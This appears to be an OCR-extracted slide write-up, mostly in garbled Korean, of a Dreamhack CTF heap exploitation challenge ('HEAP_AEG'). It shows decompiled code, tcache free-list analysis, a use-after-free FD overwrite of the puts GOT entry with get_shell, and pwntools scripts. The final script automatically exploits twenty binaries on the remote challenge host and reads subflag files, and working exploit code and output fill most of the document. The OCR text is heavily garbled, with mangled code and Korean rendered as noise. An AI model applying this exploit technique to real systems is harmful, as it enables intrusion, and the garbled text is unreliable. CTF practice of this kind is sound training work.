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1 #include <stdlib.h>

2

3 int main(){

4 char *chunk = (char*)malloc(37]);
5

6 free(chunk);

-

8 return 9;

9
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HEAP S

#include <stdlib.h>

int main(){
char *chunk = (char*)malloc(37]);

free(chunk) ;

return 9;
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#include <stdlib.h>

int main(){
char *chunk = (char*)malloc(37]);

free(chunk) ;

return 9;
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A A7H: ZX 2

Description

HIO|LH2| & XIS 2 Hdo= Z=T:0
| Automatic Exploit Generation A

20 AE[O|X|2 O|F{ A QJU&L|LCY.

2 2 timeout2 10 QlL|LC}.

C2 AH|O|X|Z Ho{717| fIsiA=, [tmp/subflag_*.txt0l| Z2X{St= AH|O|X| H flagE QIS SHA|H
Of 7EI':'* AH[O[X|E d3otH =X|Q &2 EEH_'7F Z=HEL|CE,

|_|_E

= ol 1= DH{...}, 2H|0|X| &8 Z2 1= SUBFLAG{...}2| Z%U= «
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At S=517

Host: host8.dreamhack.games
Port: 9620/tcp - 9988/tcp

151Z] 2A|: nc host8.dreamhack.games 9620
M- http://host8.dreamhack.games:9620/
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U WSL

oh111lp@DESKTOP-3LHD5QI:~$ nc host8.dreamhack.games 9620




SRl ATH: 26 A

U WSL

oh111lp@DESKTOP-3LHD5QI:~$ nc host8.dreamhack.games 9620

Ubuntu 20.0 Later
-How2Haeg-

Are u ready (y/n) ?
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U WSL

ph11TIp@DESKTOP-3LHD5QI:~$ nc host8.dreamhack.games 9620

Ubuntu 20.0 Later
-How2Haeg-

Are u ready (y/n) ? y

fOVMRgIBAQAAAAAAAAAAAAIAPgABAAAACBFAAAAAAABAAAAAAAAAAOBbAAAAAAAAAAAAAEAAOAAN
AEAAHWAeAAYAAAAEAAAAQAAAAAAAAABAAEAAAAAAAEAA

[*] welcome to HAEG!
[+] select chunk to modify(idx) :




SRl ATH: 26 A

U WSL

oh111Ip@DESKTOP-3LHD5Q1:~$ echo "fOVMRgIBAQAAAAA......" | base64 —d ) heap_aeg




SM AM: =X &2H4

L

B WSL

ph111lp@DESKTOP-3LHD5QI:~$ echo "fOVMRgIBAQAAAAA......" | base64 -d ) heap_aeg

HEAP_AEG1
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B WSL

ph111lp@DESKTOP-3LHD5QI:~$ echo "fOVMRgIBAQAAAAA......" | base64 -d ) heap_aeg

ﬂ Load a new file

Load file CtlsersWa 2EEWDownloadsWHEAP _AEG 1™ heap_aeg as

|ELF64 for x86-64 (Executable) [elf64.dll]
Binary file

HEAP_AEG1

Frocessor type (double-click to set)

Intel Pentiurm 1

Intel Pentiurn Pro (PE) with MR

Intel Pentiurn protected with M

Intel Pentium real with Mz

MetaPC (disassemble all opcodes)

|'l'II'| Bk I E.-I = i =
Enabled

Loading offset Indicator enabled Pracessor options

K.ernel options

1§ |:|T,i ons
| | Loading options Create segments [ ] Load resources
|| Fill segrment gaps Create FLAT group Rename DLL entries

Load as code segment Create imports segrent || Manual load

Ok, |  Cancel



SRl ATH: 26 A

U WSL

ph11Tlp@DESKTOP-3LHD5QI:~$ checksec heap_aeg

[*] '/mnt/c/Users/ph111lp/Downloads/HEAP_AEG1/heap_aeg’

Arch: amd64-64-little
RELRO: Partial RELRO
Stack:

NX:

PIE:

SHSTK:

IBT:

Stripped:




SRl ATH: 26 A

U WSL

oh111Ip@DESKTOP-3LHD5QI:~$ checksec heap_aeg

[*] '/mnt/c/Users/ph111lp/Downloads/HEAP_AEG1/heap_aeg’

Arch: amd64-64-little
RELRO: Partial RELRO
Stack:

NX:

PIE:

SHSTK:

IBT:

Stripped:
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int _ fastcall main(int argc, const char **argv, const char **envp)
i

int i;

unsigned _ int64 v5;

vold *v6;

vold *buf[226];

[225] = _ readfsqword(@x28u);

.'i. il i t ' ¥ ¥ :l H
dummyfunc();
puts("[*] welcome

k to modify(idx)

k!
.
]

- puts("[*] NOP!!™);
return 8;

‘ls

- printf("[+] input data : ");
if ( read(@, [v5], ©x49ulLL) < @
i

puts({"[*] NOP!!"™);

exit(@);
&all:ciExSEu--j;

= malloc(@x58ull);

printf("[+] input comment : "
if ( read(@, » Bx49ull) < 8 )
i

puts{"[*] NOP!!"™};

exit{@);

puts("G0
return 8;




=M A7) D& off A

main() (1/5)

int _ fastcall main(int argc, const char **argv, const char **envp)
{

int i;

unsigned  int64 v5;

vold *ve;

void *buf[2286];

adfsqword(@x28u);
, )i
e to HAEG!");

9; ++i )

[225] =

)

_readfsqword(0x28u);

1k to modify(idx)

¥ .
_|| ¥

I
> 9

- puts("[*] NOP!!™};
return @;

dummyfunc();

=1s

printf("[+] input data : ");
it ( read(@, [v5], @x49ull) < @ )
{

puts("[*] NOP!!™);

exit(e);
malloc{@x58ulLl);

printf("[+] inpu
if ( read(@,
{
puts("[*] NOP!!"™};

exit(e);

Eut5f"
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init() : YASHRIOLXE HER K2[6ta, ST HEZ S18H0j| 20| SHCt
(CTF, YA S KA Xt A2 E!)
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init() : YASHRIOLXE HER K2[6ta, ST HEZ S18H0j| 20| SHCt
(CTF, YA S KA Xt A2 E!)

()
{

setvbuf(stdin, OLL, 2, OLL);
return setvbuf(stdout, OLL, 2, OLL);
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main() (2/5)

int _ fastcall main(int argc, const char **argv, const char **envp)
{

int i;

unsigned  int64 v5;

vold *ve;

void *buf[2286];

= for (1=0;1<=9; ++)
[i] = malloc(0x50uLL);

else

L
puts("[*] NOP!!™);

free(but[5]);

= malloc({@x58ulL);
printf("[+] input comment : ");
if ( read(®, , Bxdoull) < @ )
{ -
puts("[*] NOP!!™);

exit(e);

ﬁut5{"EDDEwwEF rera™ Y 3
return @;




22X AM: T E s
main() (2/5)

tcache size

for (1=0;1<=9; ++) 104 Hh=
[iI] = malloc(Ox50uLL); 0x50(80) 7| =Xt

1,6, 5 =2 = offA

free(DU[1]);
free 16]);

free 15]); free list = LIFOO|2 &2
buf[5] -) buf[6] =) buf[1]
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main() (3/5)

int _ fastcall main(int argc, const char **argv, const char **envp)
{

int i;

unsigned  int64 v5;

vold *ve;

void *buf[226];

scanf("%lu", &
if (v5>9)
{

= _ readfsqword(@x28u);
. s );
dummyfunc();
welcome to HAEG!™);
; €= 9; +1i )
malloc(@x5@ulLl);

P lect chunk to modify(idx) : ™)

puts("[*] NOP!!");
return O;

> 9 )

- puts("[*] NOP!!™};
return @;

— g

) printf("[+] input data : ");
if ( read(®@, [v5], @x49ull) < @ )
{
puts("[*] NOP!!"™};
exit(@);

malloc{@xseulLl):;

R buf[v5]7t buf[9]ELCH 27}?

if ( read(e@, » Bx49ull) < @ )
r
L

2GS :) I 72N =g

puts (" GO0D~~BYEr~~") 3
return @;




main() (4/5) else

int _ fastcall main{int argc, const char **argv, const char **envp)
1

int i;

unsigned  int64 v5;

e printf("[+] input data : ");
e T if (read(0, [v5], 0x49uLL) <0)

puts("[*] welcome to HAEG!™);
for (1 =@; 1 <= 9; ++i )

[1] = malloc(@x58ull);
ree(buf[1]);
ree(buf[6]);

ree(but[5]);

rintf("[+] select chunk to modify(idx) : ");

isoc99 scanf("%¥1u", &v5); ' u tS " N O P I I "
if (v5»9)

puts("[*] NOP!!"™);

exit(O) ;

printf("[+] input data : ");
if ( read(®@, [v5], @x49ull) < @ )
i

puts("[*] NOP!!™);

exit(@);
L .
malloc(@x58ulLl);

= malloc({@x58ulL);
printf("[+] input comment : ");

?f ( read(®, vG, @x49ull) < @ ) bUf[VS]O'" xo-lel-x_-ll O 0|E_:IOI = O12|.E7 I_?

puts("[*] NOP!!™);
exit(@);

guts.("Ec-c-;«-«-avz«-«-"j; %O-ngl ?:QAI-EI-E EE:EH EE(OI 2H-I:I:l:§_|_ Oxl)

return @;




main() (5/5) malloc(0x50uLL);

T ——————— = malloc(Ox50ulLL);
printf("[+] input comment : ");
if (read(0, v6, 0x49uLL) <0)

{

puts("[*] NOP!!");
exit(0);
J

1. =M™ 2t 1 (free list : buf[6] =) buf[1])
2. =M ot 2 (free list : buf[1])
=) buf[6]0]| C|O|E &= 7ts
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StA
T =

get_shell() :ol

2 A7 MBLE AJA”IS MO



SH AJH: T E ofjAd

get_shell() : 0l &45 MSAIT|IH MHLE AIARS HO01E 4 ULL,

()
{

]

return system("/bin/sh");

SHHITI BZO| Asst

o|SA0M ALSSHE 2 22113
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int  fastcall main(int argc, const char **argv, const char **envp)
{

int 1;

unsigned  intB4 v5;

viold *uu;

vold *buf[226];

[225] =  readfsqword(@x28u);
init( ’ )
dummyfunc();

.
¥ I3

to HAEG!™);

9; ++1 )

[531)s
[+] select chunk to modify(idx)
is0c99 scanf("¥1u", &v5); (1)
if > 9 )
{
puts("[*] NOP!!™);
return @;

printf("[+] input data : “);
if ( read(e, [v5], ©x49uLL) < @
i

puts(™[*] NOP!!I™});

exit(®);

if ( read(@,

7
puts({"[*] NOP!!™);
exit(@);

puts (" G00D~nBYEnn") 3

return @;




=M 20[° AlLE| 2

int
r
L

int 1;

unsigned  intB4 v5;
vold *v6;

vold *buf[226];

___fastcall main(int argc, const char **argv, const char **envp)

225] =  readfs q.n ~d(@x28u) ;

init( R R
dummyfunc();

] -_L::: :hun to

is0c99 scanf("¥lu”, & ); (1)

if > 9 )

puts("[*] NOP!!™);
return @;

P’in*fF“'+] input data :

.
if ( read(e, [v5], @x49ullL) < @ )

puts("[*] NOP!!™);
exit(@);

&all:ciHHEEu__};
= malloc(@x58ulLl);
printf("[+] input comment

modify(idx)

.
]

if ( read(@, y Bxd49ull) < @

puts({"[*] NOP!!™);

return 8;

UAF 2148
offAl =l 3 buf[5], buf[6], buf[7]0] T

St A
L =

2 Lk,



=Xl =0]: AlLI2]| 2
UAF 2444
oHAIE! M3 buf[5], buf[6], buf[7]0]] E2& 4 Q\LC}.

free list

buf[5] -) buf[6] -) buf[1]
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int  fastcall main(int argc, const char **argv, const char **envp)
{
int 1;

unsigned  intB4 v5;

ofi M=l M3 FDO| HIO|E & 7Is
. =Y FD OVERWRITE

F ¥ _.l ¥

dummyfunc();

(but[3]);
printf("[+] select chunk
__is0c99 scanf("¥lu", B
if > 9 )

{
puts("[*] NOP!!™);
return @;

‘15

) printf("[+] input data : ");
if ( read(®, [v5], @x49ulLl) < @ )
1

puts("[*] NOP!!™);

exit(®);

malloc(8x58ulLl);

printf("[+] input comment :
if ( read(@, y Bxd49ull) < @
)

= malloc(@x58ulLl);

puts({"[*] NOP!!™);
exit(@);

puts ("G00
return 8;
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int  fastcall main(int argc, const char **argv, const char **envp)

{
int 1;
unsigned  intB4 v5;
vold *v6;
vold *buf[226];

[225] =  readfsqword(@x28u);
init( , ’ 1;
ol Limmy fun (s
puts("[*] welcome to HAEG!™);
for ( i = E- <= 9; ++1 )
[1] = malloc(@x5@ulL);

free( [1]};
free( [6]);
free( [5]);
printf("[+] select chunk to modify(idx) : ");
__is0c99 scant("¥lu", &vS);
if > 9 )
{

puts("[*] NOP!!™);

return @;

élie

] p-‘ihtf " +] ”I-_” .I_I 5 - I”:I',
if (_read(e, [v5], @x49ull) < @ )
{ I
puts("[*] NOPI!™); (2)

exit(®);

malloc(@x58ulLl);
= malloc(@x58ulLl);
printf({"[+] input comment : “);
if { read(@, » Bx49ull) < @ )
{
puts({"[*] NOP!!™);
exit(@);

puts (" G00D~nBYEnn") 3
return 8;

ofiAIE 33 FDO|| GIOJE] &I & 7ts
=) FD OVERWRITE

free list

buf[5] -) buf[6] -) buf[1]

‘IIHIEHIIEI%EII|Hi%!iii|llll

FD Overwrite

II

II

buf[1]
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int  fastcall main(int argc, const char **argv, const char **envp)
I

A3 W (buf(5))
void *buf[226];

__readfsqword(@x28u);

init( ¥ ¥ J3
dummyfunc();

(but[3]);
printf("[+] select chunk to modify(idx)
__isoc99 scanf("¥lu”, &
if > 9 )
{
puts("[*] NOP!!™);
return @;

LY
.
J3

‘15

printf("[+] input data : “);
if ( read(®, [v5], @x49ulLl) < @ )
i

puts("[*] NOP!!™);

malloc(@x58ulL)
—

(3]

.
]
A

| rea d e,

puts({"[*] NOP!!™);
exit(@);

puts (" G00D~nBYEnn") 3
return 8;
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int  fastcall main(int argc, const char **argv, const char **envp)

| ;::fl;n:d __intB4 vs; gﬂ IHQEO-I- (bUf[S])

1
vold muE;

vold *buf[226];

225] =  readfsqword(@x28u);
init( ’ 1;
dummy f””L||
welcome to HAEG!™);

malloc{@x5@ulLl);

o masty 199 : buf[6] -) buf[1]

FIl_.ItE-. I: LU 3
return @;

else
{
printf("[+] input data : “);
if { read(@, [v5], @x49ull) < @ )
i
puts("[*] NOP!!™);
exit(@);

malloc (@x50ulL); (3)

= malloc(@x58ull);
printT( input comment : ");
if Fﬂdl| » Bx49ull) < @ )
{

puts({"[*] NOP!!™);

exit(@);
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int  fastcall main(int argc, const char **argv, const char **envp)
'I_
int 1;

ansigned _intsa v5: A3 M (buf[6]), FD =&t 7ts
void *buf[226];

__readfsqword(@x28u);

init( ¥ ¥ J3
dummyfunc();

(but[3]);
printf("[+] select chunk to modify(idx)
__isoc99 scanf("¥lu”, &
if > 9 )
{
puts("[*] NOP!!™);
return @;

LY
.
J3

‘15

printf("[+] input data : “);
if ( read(®, [v5], @x49ulLl) < @ )
i

puts("[*] NOP!!™);

malloc(@x58ulL)
—

(3]

.
]
A

1
I':ll.-ltE- I Ll
exit(@);

pUtS ("GO0D~~BYEnn");
return @;




=M 20[° AlLE| 2

int  fastcall main(int argc, const char **argv, const char **envp)

P A3 xyEtet (buf[6]), FD X2 7Hs

1
vold muE;

vold *buf[226];

225] =  readfsqword(@x28u);
init( ’ 1;
dummy f””L||
welcome to HAEG!™);

malloc{@x5@ulLl);

provanefosso| |

FIl_.ItE-. I: LU 3
return @;

else
{
printf("[+] input data : “);
if { read(@, [v5], @x49ull) < @ )
i
puts("[*] NOP!!™);
exit(@);

malloc (@x50ulL); (3)
= malloc(@x58ull);
printT( input comment : ");
if ( read(®, , Bx49ull) < @ )
T
puts({"[*] NOP!!™);
exit(@);

buf[6]
(Allocated Chunk)
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AlLtg| 2
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free list

AlLI2| 2 buf[5] =) buf[6] -) buf[1]
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free list

AlLI2| 2 buf[5] -) buf[6] -) buf[1]
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free list

AlLI2| 2 buf[5] -) buf[6] -) buf[1]

I 2. S8 £ U= 42 puts(= FD Overwrite
-) puts()—.— =

MIHHIY 2121 FD7} puts()S 7127|100 YOO E2istn 42 7 U=
-) get_shell)F4 2
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get_shell()




=M 20|: RLASES

00 | t
1 from pwn import * exp O 'py
2
3 p = process('heap aeg')

4 e = ELF('heap_aeg')

5

6 puts_got = e.got[ 'puts”’]

7 get_shell = e.sym['get_shell']
8

9 payload = str(5)

10 p.sendlineafter(b'[+] select chunk to modify(idx) : ', payload)
11
12 payload = p64(puts_got)

13
14  p.sendlineafter(b'[+] input data : ', payload)

15
16 payload = p64(get _shell)

17
182 p.sendlineafter(b'[+] input comment : ', payload)

19
20 p.interactive()
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explot.py

, payload)

1 from pwn import *

2

3 p = process('heap aeg')

4 e = ELF('heap_aeg')

5

6 puts_got = e.got[ 'puts”’]

7 get_shell = e.sym['get_shell']

8

9 payload = str(5)

10 p.sendlineafter(b'[+] select chunk to modify(idx)
11

12 payload = p64(puts_got)

13

14  p.sendlineafter(b'[+] input data : ', payload)

15

16 payload = p64(get _shell)

17

182 p.sendlineafter(b'[+] input comment : ', payload)
19

20 p.interactive()

—_— x
247} =) 70| &0F ZSTETH BOFK A 0ll2
Traceback (most recent call '_.".f.t}:
File "/mnt/c/Users/& B & /Downloads/HEAF 2521.“.p. line 128, in <module>
p.sendlineafter(b’[+] 1nput comment : °, pajrlﬂad}
File "/home/phl loc ib/python3. 18, line 841, in sendlineafter
res = self. r‘ecvurrtll{dellm tllEﬂth—tlﬂTE{l.lt:I
File " /home/phllilp/.local/lib/python3.18/site-packages/pwnlib/tubes/tube.py”, line 341, in recvumtil
res = f ,recv(timenut timem:t}
File a/ohll - ‘oyvthon3. -1_ nackaees/ownlib/tubes /T be. py m 1E16, in recv
return self. Fec\r{nl_dl tlﬂ'El'.]l.lt) or b’
File hil1lp/.local/lik F'- on3.18/site-packages/pwnlib/tubes/tube.py”, line 176, in recv
if mot se huFFer and n-t:-t -FlllhuF-Fer(tlmeuut}
File "/home/ph1l1lp/.local "'r thon3.18/site-packages/pwnlib/tubes/tube.py”, line 155, in _fillbuffer
data = self.recv raw(scld I::uFFer' get ‘Fll].. 511E(}}
File "/home/ph1l1lp/.local/lib/pyt 1.18/site-) ges,/pwnlib/tubes/pro , line 742, in recv_raw
raise EOFError
EOFError

[*] Process './heap aeg’ stopped with exit code -11 (SIGSEGV) (pid 118338)
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2 Windows Power Shell

Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

ME2 7|5 % 7HM Ar2tof O St |41 PowerShell2 AX| StMI2! https://aka.ms/PSWindows

PS C:\Windows\system32)
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2 Windows Power Shell

Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

ME2 7|5 % 7HM Ar2tof O St |41 PowerShell2 AX| StMI2! https://aka.ms/PSWindows

PS C:\Windows\system32) wsl ——set-default Ubuntu-18.04
S ArdsLIC
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ph111lp@DESKTOP-3LHD5QI:~$




ph1111p@DESKTOP-3LHD5QI:~$ python3 exploit.py
[*] Switching to interactive mode

id
uid=1000(ph111Ip) gid=1000(ph111lp)
groups=1000(ph111lp),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),
44(video),46(plugdev),114(netdev)




ph1111p@DESKTOP-3LHD5QI:~$ python3 exploit.py
[*] Switching to interactive mode

id
uid=1000(ph111Ip) gid=1000(ph111lp)
groups=1000(ph111lp),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),
44(video),46(plugdev),114(netdev)
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heap_aeg



=M 20|: RASEA

208 EHE TQ

ofX|Zt H}O[L{2|0}C} freedt= 20| HEHE.

(AAZZ It HIO|LH2)

heap_aeg heap_aeg?2 heap_aeg3
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heap_aeg3
2
heap_aeg heap_aeg






text:0000000000404842 var 724  =dword ptr -724nh
text:0000000000404842 var 720  =qgword ptr -720n
text:0000000000404842 var 718  =qgword ptr -718h
text:0000000000404842 buf = gword ptr -710h
.text:0000000000404842 ptr = gword ptr -708h
text:0000000000404842 var 6ES8 word ptr -6E8h
text:0000000000404842 var 6EO word ptr -6E0h
text:0000000000404842 var 8 word ptr -8

.text:00000000004048C0 mov rdi, rax ; ptr
.text:00000000004048C3 call _free
.text:00000000004048C8 mov rax, [rbp+var_6EQ]
.text:00000000004048CF mov rdi, rax ; ptr
.text:00000000004048D2 call _free
.text:00000000004048D7 mov rax, [rbp+var_6ES8]
.text:00000000004048DE mov rdi, rax ; ptr
.text:00000000004048E1 call _free

I
O 0 0O




1ext:0000000000404842 var 724 = dworgl ptr -724h char *buf[10] (= ZOIE
.text:0000000000404842 var_720 = qword ptr -720h

text:0000000000404842 var 718 = qword ptr-718h [aERa Rl NEEL S R
.text:0000000000404842 buf = qword ptr -710h
.text:0000000000404842 ptr = gword ptr -708h
.text:0000000000404842 var_6E8 = qword ptr -6E8h N0 AT R 0 (G =) DA
.text:0000000000404842 var_6E0 = qword ptr -6EOh o
text:0000000000404842 var 8 = qword ptr -& = OFXIS2E freexl= &= 71 + XL

.text:00000000004048C0 mov rdi, rax ; ptr
.text:00000000004048C3 call _free
.text:00000000004048C8 mov rax, [rbp+var_6EQ]
.text:00000000004048CF mov rdi, rax ; ptr
.text:00000000004048D2 call _free
.text:00000000004048D7 mov rax, [rbp+var_6ES8]
.text:00000000004048DE mov rdi, rax ; ptr
.text:00000000004048E1 call _free




os.system("objdump -d -M intel binary"+"

with open(“asm”, "r") as f:
asm = f.readlines()

objdump= &lal Ii

| awk '/<main>:/,/"$/’

| head -n 100 > asm")



I for line in asm:

p) 1f 'lea' in line and ‘[rbp-' in line:

; match = re.search(r'\[rbp-(0x[0-9a-f]+)\]"', line)
4 1f match:

5 offset = int(match.group(1), 16)

' 1f buf offset is None or offset > buf offset:
7 buf offset = offset

bufe| 71& 2 LI (buf[0]) F6171



for i,

line in enumerate(asm):
in line or 'call® in line and '4010d0' in line:
free _count += 1
1f free count ==

for j in range(i-1, i-5, -1):

if

"<free@plt>’

m = re.search(r'\[rbp-(0x[0-9a-f]+)\]"', asm[]j])
1f m:
offset2 = int(m.group(1l), 16)
breakr
break

SHIYZ free()2

2E il o HeE HA=K] 2

L LT ] AA
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1f offsetl is not None and offset2 is not None:
print(f"offsetl = {hex(offsetl)}")
print(f"offset2 = {hex(offset2)}")
result = (offsetl - offset2) // 8
print(f"({hex(offsetl)} - {hex(offset2)}) // 8 = {result}")

buf[0] - 3HME SZEl buf[n] / 8
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1 from pwn import *

! from base6d import btddecode
import os

1 import re

p = remote( 'host8.dreamhack.games', 13845)

x E £ p.sendlineafter(b’(y/n) ? *,b'y")
1@ for i in range(28):
I 11 p.recvuntil{b")---------- n")
II L

binary = p.recvuntil(b"\n")[:-1].decode()
os.system(“echo * + binary + " » asdf”)
os.system(“base6d4 -d asdf > binary”)

@ = ELF("binary")
1 get_shell = e.sym['get_shell']
18 puts_got = e.got['puts']
19 print{hex{get_shell))
A print{hex(puts_got))

os.system("objdump -d -M intel binary™+" | awk */emainz:/,/*3/" | head -n 188 > asm™)

with open{~asm®, “r*) as f:
asm = f.readlines()

offsetl = None
28 offset2 = None

offsets = []
buf_offset = None

for line in asm:
if "lea" in line and '[rbp-' in line:
match = re.search{r'\[rbp-{ex[8-9a-f]+)\]", line)
if match:
1 offset = int(match.group(l), 16)
1] if buf_offset is None or offset > buf_offset:
1a buf_offset = offset

1 if buf_offset:
43 offsetl = buf_offset - 9x18
14 print(f [*] Detected buf offsetl (from lea) = {hex{offsetrl)}")

free_count = @
for i, line in enumerate(asm):
if "<free@plt>" in line or °call’ in line and '4818d@' in line:
19 free_count += 1
if free_count == 3:
for § in ranmge(i-1, i-5, -1):
m = re.search(r'\[rbp-(ax[@-9a-f]+)\]1", asm[]j])

if m:
offset? = int{m.group(l), 16)
break
break
o8 if offsetl is not None and offset2 is not None:

1] print{foffsetl = {hex(offsetl}}")
print{f offset2 = {hex(offset2}}")
result = (offsetl - offset2) // 8
print(f*({hex(offset1)} - {hex{offset2}}) // 8 = {result}")

payload = str{result)
p.sendlineafter(b’[+] select chunk to modify(idx) : ', payload)

payload = p64(puts_got)
2] p.sendlineafter(b’[+] inmput data : *, payload)
payload = p&4(get_shell)
p.sendlineafter(b"[+] imput comment : °, payload)
p.sendline(“cat /tmp/subflag_*.txt")
sub_flag = p.recvuntil(b'}')
p.sendline( exit")
9 p.sendline( exit")
Ba print{“sub flag : “, sub_flag)
81 p.sendlineafter(b" : ", sub_flag)

p.interactive()



ph111Ip@DESKTOP-3LHD5QI:~$ python3 exploit.py
+] Opening connection to host8.dreamhack.games on port 13045: Done

*]'/mnt/c/Users/Z'&a/Downloads/HEAP_AEG1/binary

*] Detected buf offset1 (from lea) = 0xc00
offset1 = Oxc00
offset2 = Oxbe0

(0xc00 - Oxbe0) // 8=4
sub flag : b'SUBFLAG{837a5233dedcb6aabcdff94a7ff3bf6ec7b0577a9}

[*] Detected buf offset1 (from lea) = 0x1e0

offset1 = 0x1e0

offset2 = 0x1b8

(Ox1e0 - 0x1b8) // 8 =5

sub flag : b’ SUBFLAG{d6b090c508e480144b423a5de13f89fe7b9cf3c0}
*] Switching to interactive mode

*] Congrats!

*] Going next level...

*] You solved every challenge! : DH{

*] Got EOF while reading in interactive
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